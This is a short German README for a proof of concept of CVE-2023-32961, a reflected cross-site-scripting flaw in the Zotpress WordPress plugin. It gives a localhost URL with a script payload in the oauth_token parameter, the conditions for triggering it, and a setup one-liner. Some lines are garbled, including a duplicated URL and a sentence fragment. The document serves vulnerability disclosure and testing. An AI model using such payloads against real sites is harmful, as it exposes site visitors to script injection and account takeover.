
PoC für CVE-2023-32961
Dieses Repository behandelt eine XSS-Schwachstelle im WordPress-Plugin Zotpress.
Zotpress
≤ 7.3.3
zotpress
https://wordpress.org/plugins/zotpress/
Ohne Authentifizierung
Die Funktion get_request_token in zotpress/lib/admin/admin.accounts.oauth.php ist anfällig für eine XSS-Attacke.
get_request_token müssen erfüllt sein. (nur beim ersten Mal)
Senden Sie einen Payload wie diesen: http://localhost:8080/wp-content/plugins/zotpress/lib/admin/admin.accounts.oauth.php?return_uri=http://localhost:8080&oauth_token=1http://localhost:8080/wp-content/plugins/zotpress/lib/admin/admin.accounts.oauth.php?return_uri=http://localhost:8080&oauth_token="><script>alert(1)</script>Sie benötigen ein zotero.org-Konto.
Sie müssen den Wert von oauthState auf 1 setzen, um die Schwachstelle auszulösen. Wenn der obige Payload nicht funktioniert, müssen Sie einen Weg finden, oauthState auf 1 zu setzen.
Bedingungsausdruck:
$_GET['oauth_token'] != $state['request_token_info']['oauth_token']
Einfache Installation der PHP-OAuth-Erweiterung:
Einzeiler:
sudo su; apt-get update; apt-get -y install gcc make autoconf libc-dev pkg-config libpcre3-dev; pecl install oauth; bash -c "echo extension=oauth.so > $PHP_INI_DIR/conf.d/oauth.ini"; service apache2 restart
Getestet im Docker-Image wordpress:latest.
https://www.youtube.com/watch?v=5kZ7bNbs_-Q